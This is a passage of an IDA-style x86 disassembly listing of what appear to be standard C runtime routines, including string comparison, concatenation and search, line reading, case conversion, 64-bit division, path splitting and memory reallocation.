		jz	short loc_416E3D
		cmp	edi, 1
		jz	short loc_416E3D
		cmp	edi, 2
		jnz	short loc_416E9A


loc_416E3D:				; CODE XREF: sub_416E1E+13j
					; sub_416E1E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_416E54
		push	esi
		call	sub_41BBF9
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_416E54:				; CODE XREF: sub_416E1E+27j
		push	esi
		call	sub_4186C4
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_416E69
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_416E7D
; ---------------------------------------------------------------------------


loc_416E69:				; CODE XREF: sub_416E1E+42j
		test	al, 1
		jz	short loc_416E7D
		test	al, 8
		jz	short loc_416E7D
		test	ah, 4
		jnz	short loc_416E7D
		mov	dword ptr [esi+18h], 200h


loc_416E7D:				; CODE XREF: sub_416E1E+49j
					; sub_416E1E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41BB5F
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416EA7
; ---------------------------------------------------------------------------


loc_416E9A:				; CODE XREF: sub_416E1E+Bj
					; sub_416E1E+1Dj
		mov	ds:dword_469464, 16h
		or	eax, 0FFFFFFFFh


loc_416EA7:				; CODE XREF: sub_416E1E+7Aj
		pop	edi
		pop	esi
		retn
sub_416E1E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EB0	proc near		; CODE XREF: sub_406C22+2ACp
					; sub_406C22+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_416EE1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_416EDF
		jz	short loc_416EE1
		dec	ecx
		dec	ecx


loc_416EDF:				; CODE XREF: sub_416EB0+29j
		not	ecx


loc_416EE1:				; CODE XREF: sub_416EB0+9j
					; sub_416EB0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_416EB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416EF0	proc near		; CODE XREF: sub_407119+5Cp
					; sub_407119+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416FA4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_416F1A


loc_416F0B:				; CODE XREF: sub_416EF0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_416F4B
		test	edi, 3
		jnz	short loc_416F0B


loc_416F1A:				; CODE XREF: sub_416EF0+19j
					; sub_416EF0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_416F1A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416F58
		test	ah, ah
		jz	short loc_416F53
		test	eax, 0FF0000h
		jz	short loc_416F4E
		test	eax, 0FF000000h
		jnz	short loc_416F1A


loc_416F4B:				; CODE XREF: sub_416EF0+20j
		dec	edi
		jmp	short loc_416F5B
; ---------------------------------------------------------------------------


loc_416F4E:				; CODE XREF: sub_416EF0+52j
		sub	edi, 2
		jmp	short loc_416F5B
; ---------------------------------------------------------------------------


loc_416F53:				; CODE XREF: sub_416EF0+4Bj
		sub	edi, 3
		jmp	short loc_416F5B
; ---------------------------------------------------------------------------


loc_416F58:				; CODE XREF: sub_416EF0+47j
		sub	edi, 4


loc_416F5B:				; CODE XREF: sub_416EF0+5Cj
					; sub_416EF0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416F70
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FBC
		jmp	short loc_416F8C
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EF0+75j
					; sub_416EF0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_416FAA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416FA0
		test	esi, 3
		jnz	short loc_416F70
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FBC


loc_416F8C:				; CODE XREF: sub_416EF0+7Ej
					; sub_416EF0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416FA0


loc_416F93:				; CODE XREF: sub_416EF0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416FA2
		dec	ecx
		jnz	short loc_416F93


loc_416FA0:				; CODE XREF: sub_416EF0+8Bj
					; sub_416EF0+A1j
		mov	[edi], cl


loc_416FA2:				; CODE XREF: sub_416EF0+ABj
		pop	ebx
		pop	esi


loc_416FA4:				; CODE XREF: sub_416EF0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FAA:				; CODE XREF: sub_416EF0+85j
					; sub_416EF0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FB4:				; CODE XREF: sub_416EF0+E4j
					; sub_416EF0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416F8C


loc_416FBC:				; CODE XREF: sub_416EF0+7Cj
					; sub_416EF0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416FB4
		test	dl, dl
		jz	short loc_416FAA
		test	dh, dh
		jz	short loc_417008
		test	edx, 0FF0000h
		jz	short loc_416FF8
		test	edx, 0FF000000h
		jnz	short loc_416FB4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FF8:				; CODE XREF: sub_416EF0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417008:				; CODE XREF: sub_416EF0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416EF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417020	proc near		; CODE XREF: seg000:004074FCp
					; seg000:0040FEE6p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_417041
		xor	eax, eax
		jmp	short loc_417043
; ---------------------------------------------------------------------------


loc_417041:				; CODE XREF: sub_417020+1Bj
		mov	eax, edi


loc_417043:				; CODE XREF: sub_417020+1Fj
		cld
		pop	edi
		leave
		retn
sub_417020	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_417060


loc_417050:				; CODE XREF: sub_417060+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_417060
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417060	proc near		; CODE XREF: sub_4085B7+DBp
					; seg000:0040D24Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00417050 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_417066:				; CODE XREF: sub_415AA0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41708B


loc_417078:				; CODE XREF: sub_417060+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_417050
		test	cl, cl
		jz	short loc_4170D4
		test	edx, 3
		jnz	short loc_417078


loc_41708B:				; CODE XREF: sub_417060+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_417096:				; CODE XREF: sub_417060+61j
					; sub_417060+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4170D8
		and	eax, 81010100h
		jz	short loc_417096
		and	eax, 1010100h
		jnz	short loc_4170D2
		and	esi, 80000000h
		jnz	short loc_417096


loc_4170D2:				; CODE XREF: sub_417060+68j
					; sub_417060+81j ...
		pop	esi
		pop	edi


loc_4170D4:				; CODE XREF: sub_417060+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4170D8:				; CODE XREF: sub_417060+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_417115
		test	al, al
		jz	short loc_4170D2
		cmp	ah, bl
		jz	short loc_41710E
		test	ah, ah
		jz	short loc_4170D2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_417107
		test	al, al
		jz	short loc_4170D2
		cmp	ah, bl
		jz	short loc_417100
		test	ah, ah
		jz	short loc_4170D2
		jmp	short loc_417096
; ---------------------------------------------------------------------------


loc_417100:				; CODE XREF: sub_417060+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417107:				; CODE XREF: sub_417060+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41710E:				; CODE XREF: sub_417060+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417115:				; CODE XREF: sub_417060+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_417060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41711C	proc near		; CODE XREF: sub_4085B7+AFp
					; seg000:004112B0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_417130
		xor	eax, eax
		jmp	short loc_417166
; ---------------------------------------------------------------------------


loc_417130:				; CODE XREF: sub_41711C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417160
		mov	esi, [ebp+arg_8]


loc_417139:				; CODE XREF: sub_41711C+42j
		dec	dword ptr [esi+4]
		js	short loc_417148
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41714F
; ---------------------------------------------------------------------------


loc_417148:				; CODE XREF: sub_41711C+20j
		push	esi
		call	sub_41B890
		pop	ecx


loc_41714F:				; CODE XREF: sub_41711C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41716A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417160
		dec	[ebp+arg_4]
		jnz	short loc_417139


loc_417160:				; CODE XREF: sub_41711C+18j
					; sub_41711C+3Dj ...
		and	byte ptr [edi],	0


loc_417163:				; CODE XREF: sub_41711C+55j
		mov	eax, ebx
		pop	esi


loc_417166:				; CODE XREF: sub_41711C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41716A:				; CODE XREF: sub_41711C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417160
		xor	ebx, ebx
		jmp	short loc_417163
sub_41711C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417173	proc near		; CODE XREF: sub_409B08+6p
					; sub_409B26+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4694F8, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4171A0
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_417239
		cmp	eax, 5Ah
		jg	loc_417239
		add	eax, 20h
		jmp	loc_417239
; ---------------------------------------------------------------------------


loc_4171A0:				; CODE XREF: sub_417173+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4171D4
		cmp	ds:dword_437F4C, esi
		jle	short loc_4171C2
		push	esi
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_4171CC
; ---------------------------------------------------------------------------


loc_4171C2:				; CODE XREF: sub_417173+42j
		mov	eax, ds:off_437D40
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_4171CC:				; CODE XREF: sub_417173+4Dj
		test	eax, eax
		jnz	short loc_4171D4


loc_4171D0:				; CODE XREF: sub_417173+ADj
		mov	eax, ebx
		jmp	short loc_417239
; ---------------------------------------------------------------------------


loc_4171D4:				; CODE XREF: sub_417173+3Aj
					; sub_417173+5Bj
		mov	edx, ds:off_437D40
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4171F8
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_417201
; ---------------------------------------------------------------------------


loc_4171F8:				; CODE XREF: sub_417173+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_417201:				; CODE XREF: sub_417173+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_4694F8
		call	loc_41BD51
		add	esp, 20h
		test	eax, eax
		jz	short loc_4171D0
		cmp	eax, esi
		jnz	short loc_41722C
		movzx	eax, [ebp+var_4]
		jmp	short loc_417239
; ---------------------------------------------------------------------------


loc_41722C:				; CODE XREF: sub_417173+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_417239:				; CODE XREF: sub_417173+16j
					; sub_417173+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417173	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417240	proc near		; CODE XREF: sub_40C1FC+2Dp
					; sub_417D2C+5B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417261
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4172B1
; ---------------------------------------------------------------------------


loc_417261:				; CODE XREF: sub_417240+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41726F:				; CODE XREF: sub_417240+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41726F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41729A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41729A
		jb	short loc_4172A2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4172A2


loc_41729A:				; CODE XREF: sub_417240+4Aj
					; sub_417240+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4172A2:				; CODE XREF: sub_417240+52j
					; sub_417240+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4172B1:				; CODE XREF: sub_417240+1Fj
		pop	ebx
		retn	10h
sub_417240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4172C0	proc near		; CODE XREF: sub_40C1FC+3Fp
					; sub_417D2C+5C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4172E2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_417323
; ---------------------------------------------------------------------------


loc_4172E2:				; CODE XREF: sub_4172C0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4172F0:				; CODE XREF: sub_4172C0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4172F0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41731E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41731E
		jb	short loc_41731F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41731F


loc_41731E:				; CODE XREF: sub_4172C0+4Ej
					; sub_4172C0+54j
		dec	esi


loc_41731F:				; CODE XREF: sub_4172C0+56j
					; sub_4172C0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_417323:				; CODE XREF: sub_4172C0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4172C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417328	proc near		; CODE XREF: seg000:00411DF1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_415CD0
		cmp	eax, 1
		pop	ecx
		jb	short loc_417363
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417363
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41735F
		push	2
		push	ebx
		push	esi
		call	sub_41C380
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41735F:				; CODE XREF: sub_417328+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41736D
; ---------------------------------------------------------------------------


loc_417363:				; CODE XREF: sub_417328+18j
					; sub_417328+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41736D
		and	byte ptr [eax],	0


loc_41736D:				; CODE XREF: sub_417328+39j
					; sub_417328+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4173E5


loc_417380:				; CODE XREF: sub_417328+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_46A9A1[edx], 4
		jz	short loc_417391
		inc	eax
		jmp	short loc_4173AB
; ---------------------------------------------------------------------------


loc_417391:				; CODE XREF: sub_417328+64j
		cmp	cl, 2Fh
		jz	short loc_4173A5
		cmp	cl, 5Ch
		jz	short loc_4173A5
		cmp	cl, 2Eh
		jnz	short loc_4173AB
		mov	[ebp+var_4], eax
		jmp	short loc_4173AB
; ---------------------------------------------------------------------------


loc_4173A5:				; CODE XREF: sub_417328+6Cj
					; sub_417328+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_4173AB:				; CODE XREF: sub_417328+67j
					; sub_417328+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417380
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4173E5
		cmp	[ebp+arg_8], 0
		jz	short loc_4173E0
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4173C9
		mov	edi, esi


loc_4173C9:				; CODE XREF: sub_417328+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41C380
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4173E0:				; CODE XREF: sub_417328+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4173EF
; ---------------------------------------------------------------------------


loc_4173E5:				; CODE XREF: sub_417328+56j
					; sub_417328+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4173EF
		and	byte ptr [ecx],	0


loc_4173EF:				; CODE XREF: sub_417328+BBj
					; sub_417328+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417442
		cmp	edi, ebx
		jb	short loc_417442
		cmp	[ebp+arg_C], 0
		jz	short loc_41741F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417408
		mov	edi, esi


loc_417408:				; CODE XREF: sub_417328+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41C380
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41741F:				; CODE XREF: sub_417328+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41746A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41742F
		mov	esi, eax


loc_41742F:				; CODE XREF: sub_417328+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41C380
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41746A
; ---------------------------------------------------------------------------


loc_417442:				; CODE XREF: sub_417328+CCj
					; sub_417328+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417460
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417451
		mov	esi, eax


loc_417451:				; CODE XREF: sub_417328+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41C380
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_417460:				; CODE XREF: sub_417328+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41746A
		and	byte ptr [eax],	0


loc_41746A:				; CODE XREF: sub_417328+FCj
					; sub_417328+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41746F	proc near		; CODE XREF: sub_40B1C5+19p
					; sub_412CEC+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_417D2C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4174AD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4174BA
; ---------------------------------------------------------------------------


loc_4174AD:				; CODE XREF: sub_41746F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C17
		pop	ecx
		pop	ecx


loc_4174BA:				; CODE XREF: sub_41746F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41746F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174BF	proc near		; CODE XREF: sub_40B43D+2Ep
					; sub_4167B3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4174DA
		push	[esp+10h+arg_4]
		call	sub_415DA9
		pop	ecx
		jmp	loc_4175DA
; ---------------------------------------------------------------------------


loc_4174DA:				; CODE XREF: sub_4174BF+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_4174F0
		push	ebx
		call	sub_415E1D
		pop	ecx


loc_4174E9:				; CODE XREF: sub_4174BF+114j
		xor	eax, eax
		jmp	loc_4175DA
; ---------------------------------------------------------------------------


loc_4174F0:				; CODE XREF: sub_4174BF+21j
					; sub_4174BF+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4175BB
		push	ebx
		call	sub_418ADD
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_417598
		cmp	esi, ds:dword_437F5C
		ja	short loc_417558
		push	esi
		push	ebx
		push	ebp
		call	sub_4192E8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417527
		mov	edi, ebx
		jmp	short loc_417550
; ---------------------------------------------------------------------------


loc_417527:				; CODE XREF: sub_4174BF+62j
		push	esi
		call	sub_418E33
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417558
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41753E
		mov	eax, esi


loc_41753E:				; CODE XREF: sub_4174BF+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_4155B0
		push	ebx
		push	ebp
		call	sub_418B08
		add	esp, 14h


loc_417550:				; CODE XREF: sub_4174BF+66j
		test	edi, edi
		jnz	loc_4175D8


loc_417558:				; CODE XREF: sub_4174BF+53j
					; sub_4174BF+73j
		test	esi, esi
		jnz	short loc_41755F
		push	1
		pop	esi


loc_41755F:				; CODE XREF: sub_4174BF+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_46AAC0
		call	ds:dword_42114C
		mov	edi, eax
		test	edi, edi
		jz	short loc_4175BB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417584
		mov	eax, esi


loc_417584:				; CODE XREF: sub_4174BF+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4155B0
		push	ebx
		push	ebp
		call	sub_418B08
		add	esp, 14h
		jmp	short loc_4175B7
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_4174BF+47j
		test	esi, esi
		jnz	short loc_41759F
		push	1
		pop	esi


loc_41759F:				; CODE XREF: sub_4174BF+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	ds:dword_46AAC0
		call	ds:dword_421160
		mov	edi, eax


loc_4175B7:				; CODE XREF: sub_4174BF+D7j
		test	edi, edi
		jnz	short loc_4175D8


loc_4175BB:				; CODE XREF: sub_4174BF+36j
					; sub_4174BF+B9j
		cmp	ds:dword_4694C4, 0
		jz	short loc_4175D8
		push	esi
		call	sub_418A48
		test	eax, eax
		pop	ecx
		jnz	loc_4174F0
		jmp	loc_4174E9
; ---------------------------------------------------------------------------


loc_4175D8:				; CODE XREF: sub_4174BF+93j
					; sub_4174BF+FAj ...
		mov	eax, edi


loc_4175DA:				; CODE XREF: sub_4174BF+16j
					; sub_4174BF+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4174BF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+0Ch]
		imul	edi, [ebp+10h]
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		test	edi, edi
		mov	[ebp+8], eax
		mov	ebx, edi
		jnz	short loc_417603
		xor	eax, eax
		jmp	loc_4176D0
; ---------------------------------------------------------------------------


loc_417603:				; CODE XREF: seg000:004175FAj
		mov	esi, [ebp+14h]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417616
		mov	eax, [esi+18h]
		mov	[ebp+14h], eax
		jmp	short loc_41761D
; ---------------------------------------------------------------------------


loc_417616:				; CODE XREF: seg000:0041760Cj
